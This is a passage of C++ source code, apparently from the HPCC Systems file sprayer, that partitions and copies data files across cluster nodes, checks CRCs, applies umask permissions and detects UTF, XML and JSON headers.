encryptKey.set(options->queryProp(ANencryptKey)); decryptKey.set(options->queryProp(ANdecryptKey)); fileUmask = -1; const char *umaskStr = options->queryProp(ANumask); if (umaskStr) { char *eptr = NULL; errno = 0; fileUmask = (int)strtol(umaskStr, &eptr, 8); if (errno || *eptr != '\0') { LOG(MCdebugInfo, job, "Invalid umask value <%s> ignored", umaskStr); fileUmask = -1; } else { // never strip off owner fileUmask &= 077; } } } class AsyncAfterTransfer : public CAsyncFor { public: AsyncAfterTransfer(FileSprayer & _sprayer) : sprayer(_sprayer) {} virtual void Do(unsigned idxTarget) { TargetLocation & cur = sprayer.targets.item(idxTarget); if (!sprayer.filter || sprayer.filter->includePart(idxTarget)) { RemoteFilename & targetFilename = cur.filename; if (sprayer.isSafeMode) { OwnedIFile file = createIFile(targetFilename); file->remove(); } renameDfuTempToFinal(targetFilename); if (sprayer.replicate && !sprayer.mirroring) { OwnedIFile file = createIFile(targetFilename); file->setTime(NULL, &cur.modifiedTime, NULL); } else if (cur.modifiedTime.isNull()) { OwnedIFile file = createIFile(targetFilename); file->getTime(NULL, &cur.modifiedTime, NULL); } } } protected: FileSprayer & sprayer; }; void FileSprayer::addEmptyFilesToPartition(unsigned from, unsigned to) { for (unsigned i = from; i < to ; i++) { LOG(MCdebugProgressDetail, job, "Insert a dummy entry for target %d", i); PartitionPoint & next = createLiteral(0, NULL, 0); next.whichOutput = i; partition.append(next); } } void FileSprayer::addEmptyFilesToPartition() { unsigned lastOutput = (unsigned)-1;; ForEachItemIn(idx, partition) { PartitionPoint & cur = partition.item(idx); if (cur.whichOutput != lastOutput) { if (cur.whichOutput != lastOutput+1) addEmptyFilesToPartition(lastOutput+1, cur.whichOutput); lastOutput = cur.whichOutput; } } if (lastOutput != targets.ordinality()-1) addEmptyFilesToPartition(lastOutput+1, targets.ordinality()); } void FileSprayer::afterTransfer() { if (calcInputCRC()) { LOG(MCdebugProgressDetail, job, "Checking input CRCs"); CRC32Merger partCRC; unsigned startCurSource = 0; ForEachItemIn(idx, partition) { PartitionPoint & curPartition = partition.item(idx); OutputProgress & curProgress = progress.item(idx); if (!curProgress.hasInputCRC) { LOG(MCdebugProgressDetail, job, "Could not calculate input CRCs - cannot check"); break; } partCRC.addChildCRC(curProgress.inputLength, curProgress.inputCRC, false); StringBuffer errorText; bool failed = false; UnsignedArray failedOutputs; if (idx+1 == partition.ordinality() || partition.item(idx+1).whichInput != curPartition.whichInput) { FilePartInfo & curSource = sources.item(curPartition.whichInput); if (curSource.crc != partCRC.get()) { StringBuffer name; if (!failed) errorText.append("Input CRCs do not match for part "); else errorText.append(", "); curSource.filename.getPath(errorText); failed = true; //Need to copy anything that involves this part of the file again. //pulling it will be the whole file, if pushing we can cope with single parts //in the middle of the partition. for (unsigned i = startCurSource; i <= idx; i++) { OutputProgress & cur = progress.item(i); cur.reset(); if (cur.tree) cur.save(cur.tree); unsigned out = partition.item(i).whichOutput; if (failedOutputs.find(out) == NotFound) failedOutputs.append(out); } } partCRC.clear(); startCurSource = idx+1; //If copying m to n, and not splitting, there may be some dummy text entries (containing nothing) on the end. //if so skip them, otherwise you'll get crc errors on part 1 if (partition.isItem(startCurSource) && (partition.item(startCurSource).whichInput == 0)) idx = partition.ordinality()-1; } if (failed) { if (usePullOperation()) { //Need to clear progress for any partitions that copy to the same target file //However, need to do it after the crc checking, otherwise it will generate more errors... ForEachItemIn(idx, partition) { if (failedOutputs.find(partition.item(idx).whichOutput) != NotFound) { OutputProgress & cur = progress.item(idx); cur.reset(); if (cur.tree) cur.save(cur.tree); } } } if (recoveryConnection) recoveryConnection->commit(); throw MakeStringException(DFTERR_InputCrcMismatch, "%s", errorText.str()); } } } //For safe mode and push mode the temporary files need to be renamed once everything has completed. if (isSafeMode || usePushOperation()) { unsigned numTargets = targets.ordinality(); AsyncAfterTransfer async(*this); async.For(numTargets, (unsigned)sqrt((float)numTargets)); } else { ForEachItemIn(idx, progress) { OutputProgress & curProgress = progress.item(idx); if (!curProgress.resultTime.isNull()) targets.item(partition.item(idx).whichOutput).modifiedTime.set(curProgress.resultTime); } } } bool FileSprayer::allowSplit() { return !(options->getPropBool(ANnosplit) || options->getPropBool(ANnosplit2) || options->queryProp(ANprefix)); } void FileSprayer::assignPartitionFilenames() { ForEachItemIn(idx, partition) { PartitionPoint & cur = partition.item(idx); if (cur.whichInput != (unsigned)-1) { cur.inputName.set(sources.item(cur.whichInput).filename); setCanAccessDirectly(cur.inputName); } cur.outputName.set(targets.item(cur.whichOutput).filename); setCanAccessDirectly(cur.outputName); // NB: partition (cur) is serialized to ftslave and it's this modifiedTime is used if present if (replicate) cur.modifiedTime.set(targets.item(cur.whichOutput).modifiedTime); } } class CheckExists : public CAsyncFor { public: CheckExists(TargetLocationArray & _targets, IDFPartFilter * _filter) : targets(_targets) { filter = _filter; } virtual void Do(unsigned idx) { if (!filter || filter->includePart(idx)) { const RemoteFilename & cur = targets.item(idx).filename; OwnedIFile file = createIFile(cur); if (file->exists()) { StringBuffer s; throwError1(DFTERR_PhysicalExistsNoOverwrite, cur.getRemotePath(s).str()); } } } public: TargetLocationArray & targets; IDFPartFilter * filter; }; void FileSprayer::beforeTransfer() { if (!isRecovering && !options->getPropBool("@overwrite", true)) { CheckExists checker(targets, filter); checker.For(targets.ordinality(), 25, true, true); } if (!isRecovering && writeFromMultipleSlaves()) { try { //Should this be on an option. Shouldn't be too inefficient since push is seldom used. ForEachItemIn(idx2, targets) { if (!filter || filter->includePart(idx2)) { //MORE: This does not cope with creating directories on a solaris machine. StringBuffer remoteFilename, remoteDirectory; targets.item(idx2).filename.getRemotePath(remoteFilename); splitUNCFilename(remoteFilename.str(), &remoteDirectory, &remoteDirectory, NULL, NULL); Owned<IFile> dir = createIFile(remoteDirectory.str()); if (!dir->exists()) { dir->createDirectory(); if (fileUmask != -1) dir->setFilePermissions(~fileUmask&0777); } } } } catch (IException *e) { FLLOG(MCexception(e), job, e, "Creating Directory"); e->Release(); LOG(MCdebugInfo, job, "Ignoring create directory error"); } // If pushing files, and not recovering, then need to delete the target files, because the slaves might be writing in any order // for pull, the slave deletes it when creating the file. unsigned curPartition = 0; ForEachItemIn(idxTarget, targets) { if (!filter || filter->includePart(idxTarget)) { if (!isSafeMode) { OwnedIFile file = createIFile(targets.item(idxTarget).filename); file->remove(); } //unsigned firstPartition = curPartition; while (partition.isItem(curPartition+1) && partition.item(curPartition+1).whichOutput == idxTarget) curPartition++; //MORE: If 1:N mapping then don't extend to the maximum length - it is a waste of time, and messes up //And should generate the file header on the push machine - would always be more efficient. //Possibly conditional on whether it is worth pre-extending on the target os. //if (curPartition == firstPartition) // continue; PartitionPoint & lastPartition = partition.item(curPartition); offset_t lastOutputOffset = lastPartition.outputOffset + lastPartition.outputLength; RemoteFilename remote; getDfuTempName(remote, targets.item(idxTarget).filename); OwnedIFile file = createIFile(remote); OwnedIFileIO io = file->open(IFOcreate); if (!io) { StringBuffer name; remote.getPath(name); throwError1(DFTERR_CouldNotCreateOutput, name.str()); } if (fileUmask != -1) file->setFilePermissions(~fileUmask&0666); //Create the headers on the utf files. unsigned headerSize = getHeaderSize(tgtFormat.type); if (headerSize) io->write(0, headerSize, getHeaderText(tgtFormat.type)); if ((lastOutputOffset != 0)&&!compressOutput) { char null = 0; io->write(lastOutputOffset-sizeof(null), sizeof(null), &null); } } } } throttleNicSpeed = options->getPropInt(ANthrottle, 0); if (throttleNicSpeed == 0 && !usePullOperation() && targets.ordinality() == 1 && sources.ordinality() > 1) { Owned<IEnvironmentFactory> factory = getEnvironmentFactory(true); Owned<IConstEnvironment> env = factory->openEnvironment(); StringBuffer ipText; targets.item(0).filename.queryIP().getIpText(ipText); Owned<IConstMachineInfo> machine = env->getMachineByAddress(ipText.str()); if (machine) { if (machine->getOS() == MachineOsW2K) { throttleNicSpeed = machine->getNicSpeedMbitSec(); LOG(MCdebugInfo, job, "Throttle target speed to %dMbit/sec", throttleNicSpeed); } } } } bool FileSprayer::calcCRC() { return options->getPropBool(ANcrc, true) && !compressOutput && !copyCompressed; } bool FileSprayer::calcInputCRC() { if (!calcedInputCRC) { calcedInputCRC = true; cachedInputCRC = false; if (options->getPropBool(ANcrcCheck, true) && !compressedInput) { ForEachItemIn(idx, sources) { if (!sources.item(idx).hasCRC) return cachedInputCRC; } cachedInputCRC = true; //If keeping headers then we lose bits of the input files, so they can't be crc checked. bool canKeepHeader = srcFormat.equals(tgtFormat) || !needToCalcOutput(); if (options->getPropBool("@keepHeader", canKeepHeader) && srcFormat.rowTag && sources.ordinality() > 1) cachedInputCRC = false; if (querySplitPrefix()) cachedInputCRC = false; } } return cachedInputCRC; } void FileSprayer::calculateOne2OnePartition() { LOG(MCdebugProgressDetail, job, "Setting up one2One partition"); if (sources.ordinality() != targets.ordinality()) throwError(DFTERR_ReplicateNumPartsDiffer); if (!srcFormat.equals(tgtFormat)) throwError(DFTERR_ReplicateSameFormat); if (compressedInput && compressOutput && (strcmp(encryptKey.str(),decryptKey.str())==0)) setCopyCompressedRaw(); ForEachItemIn(idx, sources) { FilePartInfo & cur = sources.item(idx); RemoteFilename curFilename; curFilename.set(cur.filename); setCanAccessDirectly(curFilename); partition.append(*new PartitionPoint(idx, idx, cur.headerSize, copyCompressed?cur.psize:cur.size, copyCompressed?cur.psize:cur.size)); // outputoffset == 0 targets.item(idx).modifiedTime.set(cur.modifiedTime); } if (srcFormat.isCsv()) examineCsvStructure(); } class AsyncExtractBlobInfo : public CAsyncFor { friend class FileSprayer; public: AsyncExtractBlobInfo(const char * _splitPrefix, FileSprayer & _sprayer) : sprayer(_sprayer) { extracted = new ExtractedBlobArray[sprayer.sources.ordinality()]; splitPrefix = _splitPrefix; } ~AsyncExtractBlobInfo() { delete [] extracted; } virtual void Do(unsigned i) { if (!sprayer.sources.item(i).filename.isLocal()) { try { remoteExtractBlobElements(splitPrefix, sprayer.sources.item(i).filename, extracted[i]); return; } catch (IException *e) { StringBuffer path; StringBuffer err; OWARNLOG("dafilesrv ExtractBlobElements(%s) failed with: %s", sprayer.sources.item(i).filename.getPath(path).str(), e->errorMessage(err).str()); PROGLOG("Trying direct access (this may be slow)"); e->Release(); } } // try local extractBlobElements(splitPrefix, sprayer.sources.item(i).filename, extracted[i]); } protected: FileSprayer & sprayer; const char * splitPrefix; ExtractedBlobArray * extracted; }; void FileSprayer::calculateSplitPrefixPartition(const char * splitPrefix) { if (targets.ordinality() != 1) throwError(DFTERR_SplitPrefixSingleTarget); if (!srcFormat.equals(tgtFormat)) throwError(DFTERR_SplitPrefixSameFormat); LOG(MCdebugProgressDetail, job, "Setting up split prefix partition"); Owned<TargetLocation> target = &targets.popGet(); // remove target, add lots of new ones RemoteFilename blobTarget; StringBuffer remoteTargetPath, remoteFilename; target->filename.getRemotePath(remoteTargetPath); char sepChar = target->filename.getPathSeparator(); //Remove the tail name from the filename const char * temp = remoteTargetPath.str(); remoteTargetPath.setLength(strrchr(temp, sepChar)-temp); AsyncExtractBlobInfo extractor(splitPrefix, *this); unsigned numSources = sources.ordinality(); extractor.For(numSources, numParallelConnections(numSources), true, false); ForEachItemIn(idx, sources) { FilePartInfo & cur = sources.item(idx); ExtractedBlobArray & extracted = extractor.extracted[idx]; ForEachItemIn(i, extracted) { ExtractedBlobInfo & curBlob = extracted.item(i); remoteFilename.clear().append(remoteTargetPath); addPathSepChar(remoteFilename, sepChar); remoteFilename.append(curBlob.filename); blobTarget.clear(); blobTarget.setRemotePath(remoteFilename); targets.append(* new TargetLocation(blobTarget)); partition.append(*new PartitionPoint(idx, targets.ordinality()-1, curBlob.offset, curBlob.length, curBlob.length)); } } } void FileSprayer::calculateMany2OnePartition() { LOG(MCdebugProgressDetail, job, "Setting up many2one partition"); const char *partSeparator = srcFormat.getPartSeparatorString(); offset_t partSeparatorLength = ( partSeparator == nullptr ? 0 : strlen(partSeparator)); offset_t lastContentLength = 0; ForEachItemIn(idx, sources) { FilePartInfo & cur = sources.item(idx); RemoteFilename curFilename; curFilename.set(cur.filename); setCanAccessDirectly(curFilename); if (cur.size) { if (partSeparator) { if (lastContentLength) { PartitionPoint &part = createLiteral(1, partSeparator, (unsigned) -1); part.whichOutput = 0; partition.append(part); } lastContentLength = cur.size; } partition.append(*new PartitionPoint(idx, 0, cur.headerSize, cur.size, cur.size)); } } if (srcFormat.isCsv()) examineCsvStructure(); } void FileSprayer::calculateNoSplitPartition() { LOG(MCdebugProgressDetail, job, "Setting up no split partition"); if (!usePullOperation() && !srcFormat.equals(tgtFormat)) throwError(DFTERR_NoSplitPushChangeFormat); #if 1 //split by number unsigned numSources = sources.ordinality(); unsigned numTargets = targets.ordinality(); if (numSources < numTargets) numTargets = numSources; unsigned tally = 0; unsigned curTarget = 0; ForEachItemIn(idx, sources) { FilePartInfo & cur = sources.item(idx); partition.append(*new PartitionPoint(idx, curTarget, cur.headerSize, copyCompressed?cur.psize:cur.size, copyCompressed?cur.psize:cur.size)); // outputoffset == 0 tally += numTargets; if (tally >= numSources) { tally -= numSources; curTarget++; } } #else //split by size offset_t totalSize = 0; ForEachItemIn(i, sources) totalSize += sources.item(i).size; unsigned numTargets = targets.ordinality(); offset_t chunkSize = (totalSize / numTargets); offset_t nextBoundary = chunkSize; offset_t sizeSoFar = 0; unsigned curTarget = 0; ForEachItemIn(idx, sources) { FilePartInfo & cur = sources.item(idx); offset_t nextSize = sizeSoFar + cur.size; if ((sizeSoFar >= nextBoundary) || ((nextSize > nextBoundary) && (nextBoundary - sizeSoFar < nextSize - nextBoundary))) { if (curTarget != numTargets-1) { curTarget++; nextBoundary += chunkSize; } } RemoteFilename curFilename; curFilename.set(cur.filename); setCanAccessDirectly(curFilename); partition.append(*new PartitionPoint(idx, curTarget, cur.headerSize, cur.size, cur.size)); // outputoffset == 0 sizeSoFar = nextSize; } #endif if (srcFormat.isCsv()) examineCsvStructure(); } void FileSprayer::calculateSprayPartition() { LOG(MCdebugProgressDetail, job, "Calculating N:M partition"); bool calcOutput = needToCalcOutput(); FormatPartitionerArray partitioners; unsigned numParts = targets.ordinality(); StringBuffer remoteFilename; ForEachItemIn(idx, sources) { IFormatPartitioner * partitioner = createPartitioner(idx, calcOutput, numParts); partitioner->setAbort(&fileSprayerAbortChecker); partitioners.append(*partitioner); } unsigned numProcessors = partitioners.ordinality(); unsigned maxConnections = numParallelConnections(numProcessors); //Throttle maximum number of concurrent transfers by starting n threads, and //then waiting for one to complete before going on to the next Semaphore sem; unsigned goIndex; for (goIndex=0; goIndex < maxConnections; goIndex++) partitioners.item(goIndex).calcPartitions(&sem); for (; goIndex<numProcessors; goIndex++) { sem.wait(); partitioners.item(goIndex).calcPartitions(&sem); } for (unsigned waitCount=0; waitCount < maxConnections;waitCount++) sem.wait(); ForEachItemIn(idx2, partitioners) partitioners.item(idx2).getResults(partition); if ((partitioners.ordinality() > 0) && !srcAttr->hasProp("ECL")) { // Store discovered CSV record structure into target logical file. storeCsvRecordStructure(partitioners.item(0)); } if (compressedInput && compressOutput && streq(encryptKey.str(),decryptKey.str())) copyCompressed = true; } void FileSprayer::storeCsvRecordStructure(IFormatPartitioner &partitioner) { StringBuffer recStru; partitioner.getRecordStructure(recStru); if ((recStru.length() > 0) && strstr(recStru.str(),"END;")) { if (distributedTarget) distributedTarget->setECL(recStru.str()); } } IFormatPartitioner * FileSprayer::createPartitioner(aindex_t index, bool calcOutput, unsigned numParts) { StringBuffer remoteFilename; FilePartInfo & cur = sources.item(index); cur.filename.getRemotePath(remoteFilename.clear()); LOG(MCdebugInfoDetail, job, "Partition %d(%s)", index, remoteFilename.str()); srcFormat.quotedTerminator = options->getPropBool("@quotedTerminator", true); const SocketEndpoint & ep = cur.filename.queryEndpoint(); IFormatPartitioner * partitioner = createFormatPartitioner(ep, srcFormat, tgtFormat, calcOutput, queryFixedSlave(), wuid); // CSV record structure discovery of the first source bool isRecordStructurePresent = options->getPropBool("@recordStructurePresent", false); partitioner->setRecordStructurePresent(isRecordStructurePresent); RemoteFilename name; name.set(cur.filename); setCanAccessDirectly(name); partitioner->setPartitionRange(totalSize, cur.offset, cur.size, cur.headerSize, numParts); partitioner->setSource(index, name, compressedInput, decryptKey); return partitioner; } void FileSprayer::examineCsvStructure() { if (srcAttr && srcAttr->hasProp("ECL")) // Already has, keep it. return; bool calcOutput = needToCalcOutput(); if (sources.ordinality()) { Owned<IFormatPartitioner> partitioner = createPartitioner(0, calcOutput, targets.ordinality()); storeCsvRecordStructure(*partitioner); } else LOG(MCdebugInfoDetail, job, "No source CSV file to examine."); } void FileSprayer::calculateOutputOffsets() { unsigned headerSize = getHeaderSize(tgtFormat.type); offset_t outputOffset = headerSize; unsigned curOutput = 0; ForEachItemIn(idx, partition) { PartitionPoint & cur = partition.item(idx); if (curOutput != cur.whichOutput) { outputOffset = headerSize; curOutput = cur.whichOutput; } cur.outputOffset = outputOffset; outputOffset += cur.outputLength; } } void FileSprayer::checkFormats() { if (unknownSourceFormat) { //If target format is specified, use that - not really very good, but... srcFormat.set(tgtFormat); //If format omitted, and number of parts are the same then okay to omit the format if (sources.ordinality() == targets.ordinality() && !disallowImplicitReplicate()) copySource = true; bool noSplit = !allowSplit(); if (!replicate && !copySource && !noSplit) { //copy to a single target => assume same format concatenated. if (targets.ordinality() != 1) { if (!unknownTargetFormat) throwError(DFTERR_TargetFormatUnknownSource); else throwError(DFTERR_FormatNotSpecified); } } } FileFormatType srcType = srcFormat.type; FileFormatType tgtType = tgtFormat.type; if (srcType != tgtType) { switch (srcType) { case FFTfixed: if ((tgtType != FFTvariable)&&(tgtType != FFTvariablebigendian)) throwError(DFTERR_BadSrcTgtCombination); break; case FFTvariable: if ((tgtType != FFTfixed) && (tgtType != FFTblocked)&& (tgtType != FFTvariablebigendian)) throwError(DFTERR_BadSrcTgtCombination); break; case FFTvariablebigendian: if ((tgtType != FFTfixed) && (tgtType != FFTblocked) && (tgtType != FFTvariable)) throwError(DFTERR_BadSrcTgtCombination); break; case FFTblocked: if ((tgtType != FFTvariable)&&(tgtType != FFTvariablebigendian)) throwError(DFTERR_BadSrcTgtCombination); break; case FFTcsv: throwError(DFTERR_BadSrcTgtCombination); case FFTutf: case FFTutf8: case FFTutf8n: case FFTutf16: case FFTutf16be: case FFTutf16le: case FFTutf32: case FFTutf32be: case FFTutf32le: switch (tgtFormat.type) { case FFTutf: case FFTutf8: case FFTutf8n: case FFTutf16: case FFTutf16be: case FFTutf16le: case FFTutf32: case FFTutf32be: case FFTutf32le: break; default: throwError(DFTERR_OnlyConvertUtfUtf); break; } break; } } switch (srcType) { case FFTutf: case FFTutf8: case FFTutf8n: case FFTutf16: case FFTutf16be: case FFTutf16le: case FFTutf32: case FFTutf32be: case FFTutf32le: if (srcFormat.rowTag) { srcFormat.maxRecordSize = srcFormat.maxRecordSize > DEFAULT_MAX_XML_RECORD_SIZE ? srcFormat.maxRecordSize : DEFAULT_MAX_XML_RECORD_SIZE; } break; default: break; } } void FileSprayer::calibrateProgress() { sizeToBeRead = 0; ForEachItemIn(idx, transferSlaves) sizeToBeRead += transferSlaves.item(idx).getInputSize(); totalLengthRead = calcSizeReadAlready(); } void FileSprayer::checkForOverlap() { unsigned num = std::min(sources.ordinality(), targets.ordinality()); for (unsigned idx = 0; idx < num; idx++) { RemoteFilename & srcName = sources.item(idx).filename; RemoteFilename & tgtName = targets.item(idx).filename; if (srcName.equals(tgtName)) { StringBuffer x; srcName.getPath(x); throwError1(DFTERR_CopyFileOntoSelf, x.str()); } } } void FileSprayer::cleanupRecovery() { progressTree->setPropBool(ANcomplete, true); #ifdef CLEANUP_RECOVERY progressTree->removeProp(ANhasPartition); progressTree->removeProp(ANhasProgress); progressTree->removeProp(ANhasRecovery); progressTree->removeProp(PNpartition); progressTree->removeProp(PNprogress); progressTree->removeProp(ANpull); #endif } bool FileSprayer::usePushWholeOperation() const { return targets.item(0).filename.isUrl(); } bool FileSprayer::canRenameOutput() const { return targets.item(0).filename.queryFileSystemProperties().canRename; } void FileSprayer::checkSprayOptions() { if (isSafeMode && !canRenameOutput()) { isSafeMode = false; UWARNLOG("Safe mode is disable because the target cannot be renamed"); } } //Several files being pulled to the same machine - only run ftslave once... void FileSprayer::commonUpSlaves() { unsigned max = partition.ordinality(); bool pull = usePullOperation(); bool pushWhole = usePushWholeOperation(); bool slaveMatchesOutput = pull || pushWhole; // One slave per target if a url for (unsigned idx = 0; idx < max; idx++) { PartitionPoint & cur = partition.item(idx); cur.whichSlave = slaveMatchesOutput ? cur.whichOutput : cur.whichInput; if (cur.whichSlave == -1) cur.whichSlave = 0; } if (options->getPropBool(ANnocommon, true) || pushWhole) return; //First work out which are the same slaves, and then map the partition. //Previously it was n^2 in partition, which is fine until you spray 100K files. unsigned numSlaves = pull ? targets.ordinality() : sources.ordinality(); unsigned * slaveMapping = new unsigned [numSlaves]; for (unsigned i = 0; i < numSlaves; i++) slaveMapping[i] = i; if (pull) { for (unsigned i1 = 1; i1 < numSlaves; i1++) { TargetLocation & cur = targets.item(i1); for (unsigned i2 = 0; i2 < i1; i2++) { if (targets.item(i2).filename.queryIP().ipequals(cur.filename.queryIP())) { slaveMapping[i1] = i2; break; } } } } else { for (unsigned i1 = 1; i1 < numSlaves; i1++) { FilePartInfo & cur = sources.item(i1); for (unsigned i2 = 0; i2 < i1; i2++) { if (sources.item(i2).filename.queryIP().ipequals(cur.filename.queryIP())) { slaveMapping[i1] = i2; break; } } } } for (unsigned i3 = 0; i3 < max; i3++) { PartitionPoint & cur = partition.item(i3); cur.whichSlave = slaveMapping[cur.whichSlave]; } delete [] slaveMapping; } void FileSprayer::analyseFileHeaders(bool setcurheadersize) { FileFormatType defaultFormat = FFTunknown; switch (srcFormat.type) { case FFTutf: case FFTutf8: defaultFormat = FFTutf8n; break; case FFTutf16: defaultFormat = FFTutf16be; break; case FFTutf32: defaultFormat = FFTutf32be; break; default: if (!srcFormat.rowTag) return; break; } FileFormatType actualType = FFTunknown; unsigned numEmptyXml = 0; ForEachItemIn(idx, sources) { FilePartInfo & cur = sources.item(idx); StringBuffer s; cur.filename.getPath(s); LOG(MCdebugInfo, job, "Examine header of file %s", s.str()); Owned<IFile> file = createIFile(cur.filename); Owned<IFileIO> io = file->open(IFOread); if (!io) { StringBuffer s; cur.filename.getRemotePath(s); throwError1(DFTERR_CouldNotOpenFilePart, s.str()); } if (compressedInput) { Owned<IExpander> expander; if (!decryptKey.isEmpty()) { StringBuffer key; decrypt(key,decryptKey); expander.setown(createAESExpander256(key.length(),key.str())); } io.setown(createCompressedFileReader(io,expander)); } if (defaultFormat != FFTunknown) { FileFormatType thisType; unsigned char header[4]; memset(header, 255, sizeof(header)); // fill so don't get clashes if file is very small! unsigned numRead = io->read(0, 4, header); unsigned headerSize = 0; if ((memcmp(header, "\xEF\xBB\xBF", 3) == 0) && (srcFormat.type == FFTutf || srcFormat.type == FFTutf8)) { thisType = FFTutf8n; headerSize = 3; } else if ((memcmp(header, "\xFF\xFE\x00\x00", 4) == 0) && (srcFormat.type == FFTutf || srcFormat.type == FFTutf32)) { thisType = FFTutf32le; headerSize = 4; } else if ((memcmp(header, "\x00\x00\xFE\xFF", 4) == 0) && (srcFormat.type == FFTutf || srcFormat.type == FFTutf32)) { thisType = FFTutf32be; headerSize = 4; } else if ((memcmp(header, "\xFF\xFE", 2) == 0) && (srcFormat.type == FFTutf || srcFormat.type == FFTutf16)) { thisType = FFTutf16le; headerSize = 2; } else if ((memcmp(header, "\xFE\xFF", 2) == 0) && (srcFormat.type == FFTutf || srcFormat.type == FFTutf16)) { thisType = FFTutf16be; headerSize = 2; } else { thisType = defaultFormat; headerSize = 0; } if (actualType == FFTunknown) actualType = thisType; else if (actualType != thisType) throwError(DFTERR_PartsDoNotHaveSameUtfFormat); if (setcurheadersize) { cur.headerSize = headerSize; cur.size -= headerSize; } } if (srcFormat.rowTag&&setcurheadersize) { try { if (distributedSource) { // Despray from distributed file // Check XMLheader/footer in file level DistributedFilePropertyLock lock(distributedSource); IPropertyTree &curProps = lock.queryAttributes(); if (curProps.hasProp(FPheaderLength) && curProps.hasProp(FPfooterLength)) { cur.xmlHeaderLength = curProps.getPropInt(FPheaderLength, 0); cur.xmlFooterLength = curProps.getPropInt(FPfooterLength, 0); } else { // Try it in file part level Owned<IDistributedFilePart> curPart = distributedSource->getPart(idx); IPropertyTree& curPartProps = curPart->queryAttributes(); cur.xmlHeaderLength = curPartProps.getPropInt(FPheaderLength, 0); cur.xmlFooterLength = curPartProps.getPropInt(FPfooterLength, 0); } } else { // Spray from file if (srcFormat.headerLength == (unsigned)-1 || srcFormat.footerLength == (unsigned)-1) locateContentHeader(io, cur.headerSize, cur.xmlHeaderLength, cur.xmlFooterLength); else { cur.xmlHeaderLength = srcFormat.headerLength; cur.xmlFooterLength = srcFormat.footerLength; } } cur.headerSize += (unsigned)cur.xmlHeaderLength; if (cur.size >= cur.xmlHeaderLength + cur.xmlFooterLength) { cur.size -= (cur.xmlHeaderLength + cur.xmlFooterLength); if (cur.size <= srcFormat.rowTag.length()) // implies there's a header and footer but no rows (whitespace only) cur.size = 0; } else throwError3(DFTERR_InvalidXmlPartSize, cur.size, cur.xmlHeaderLength, cur.xmlFooterLength); } catch (IException * e) { if (e->errorCode() != DFTERR_CannotFindFirstXmlRecord) throw; e->Release(); if (!replicate) { cur.headerSize = 0; cur.size = 0; } numEmptyXml++; } } } if (numEmptyXml == sources.ordinality()) { if (numEmptyXml == 1) throwError(DFTERR_CannotFindFirstXmlRecord); // else // throwError(DFTERR_CannotFindAnyXmlRecord); } if (defaultFormat != FFTunknown) srcFormat.type = actualType; if (unknownTargetFormat) { tgtFormat.set(srcFormat); if (distributedTarget) { DistributedFilePropertyLock lock(distributedTarget); IPropertyTree &curProps = lock.queryAttributes(); tgtFormat.save(&curProps); } } } void FileSprayer::locateXmlHeader(IFileIO * io, unsigned headerSize, offset_t & xmlHeaderLength, offset_t & xmlFooterLength) { Owned<IFileIOStream> in = createIOStream(io); XmlSplitter splitter(srcFormat); BufferedDirectReader reader; reader.set(in); reader.seek(headerSize); if (xmlHeaderLength == 0) { try { xmlHeaderLength = splitter.getHeaderLength(reader); } catch (IException * e) { if (e->errorCode() != DFTERR_CannotFindFirstXmlRecord) throw; e->Release(); xmlHeaderLength = 0; } } offset_t size = io->size(); offset_t endOffset = (size > srcFormat.maxRecordSize*2 + headerSize) ? size - srcFormat.maxRecordSize*2 : headerSize; reader.seek(endOffset); if (xmlFooterLength == 0) { try { xmlFooterLength = splitter.getFooterLength(reader, size); } catch (IException * e) { if (e->errorCode() != DFTERR_CannotFindLastXmlRecord) throw; e->Release(); xmlFooterLength= 0; } } } void FileSprayer::locateJsonHeader(IFileIO * io, unsigned headerSize, offset_t & headerLength, offset_t & footerLength) { Owned<IFileIOStream> in = createIOStream(io); JsonSplitter jsplitter(srcFormat, *in); headerLength = jsplitter.getHeaderLength(); footerLength = jsplitter.getFooterLength(); } void FileSprayer::locateContentHeader(IFileIO * io, unsigned headerSize, offset_t & headerLength, offset_t & footerLength) { if (srcFormat.markup == FMTjson) locateJsonHeader(io, headerSize, headerLength, footerLength); else locateXmlHeader(io, headerSize, headerLength, footerLength); } void FileSprayer::derivePartitionExtra() { calculateOutputOffsets(); assignPartitionFilenames(); commonUpSlaves(); IPropertyTreeIterator * iter = NULL; if (isRecovering) { Owned<IPropertyTreeIterator> iter = progressTree->getElements(PNprogress); ForEach(*iter) { OutputProgress & next = * new OutputProgress; next.restore(&iter->query()); next.tree.set(&iter->query()); progress.append(next); } assertex(progress.ordinality() == partition.ordinality()); } else { if (allowRecovery) progressTree->setPropBool(ANhasProgress, true); ForEachItemIn(idx, partition) { OutputProgress & next = * new OutputProgress; next.whichPartition=idx; if (allowRecovery) { IPropertyTree * progressInfo = progressTree->addPropTree(PNprogress, createPTree(PNprogress, ipt_caseInsensitive)); next.tree.set(progressInfo); next.save(progressInfo); } progress.append(next); } } } void FileSprayer::displayPartition() { ForEachItemIn(idx, partition) { partition.item(idx).display(); #ifdef _DEBUG if ((partition.item(idx).whichInput >= 0) && (partition.item(idx).whichInput < sources.ordinality()) ) LOG(MCdebugInfoDetail, unknownJob, " Header size: %" I64F "u, XML header size: %" I64F "u, XML footer size: %" I64F "u", sources.item(partition.item(idx).whichInput).headerSize, sources.item(partition.item(idx).whichInput).xmlHeaderLength, sources.item(partition.item(idx).whichInput).xmlFooterLength ); else LOG(MCdebugInfoDetail, unknownJob," No source file for this partition"); #endif } } void FileSprayer::extractSourceFormat(IPropertyTree * props) { if (srcFormat.restore(props)) unknownSourceFormat = false; else srcFormat.set(FFTfixed, 1); bool blockcompressed; if (isCompressed(*props, &blockcompressed)) { if (!blockcompressed) throwError(DFTERR_RowCompressedNotSupported); compressedInput = true; } else if (!decryptKey.isEmpty()) compressedInput = true; } void FileSprayer::gatherFileSizes(bool errorIfMissing) { FilePartInfoArray fileSizeQueue; LOG(MCdebugProgress, job, "Start gathering file sizes..."); ForEachItemIn(idx, sources) { FilePartInfo & cur = sources.item(idx); if (cur.size == UNKNOWN_PART_SIZE) fileSizeQueue.append(OLINK(cur)); } gatherFileSizes(fileSizeQueue, errorIfMissing); LOG(MCdebugProgress, job, "Finished gathering file sizes..."); } void FileSprayer::afterGatherFileSizes() { if (!copyCompressed) { StringBuffer tailStr; ForEachItemIn(idx2, sources) { FilePartInfo & cur = sources.item(idx2); LOG(MCdebugProgress, job, "%9u:%s (size: %llu bytes)", idx2, cur.filename.getTail(tailStr.clear()).str(), cur.size ); cur.offset = totalSize; totalSize += cur.size; if (cur.size % srcFormat.getUnitSize()) { StringBuffer s; if (srcFormat.isUtf()) throwError2(DFTERR_InputIsInvalidMultipleUtf, cur.filename.getRemotePath(s).str(), 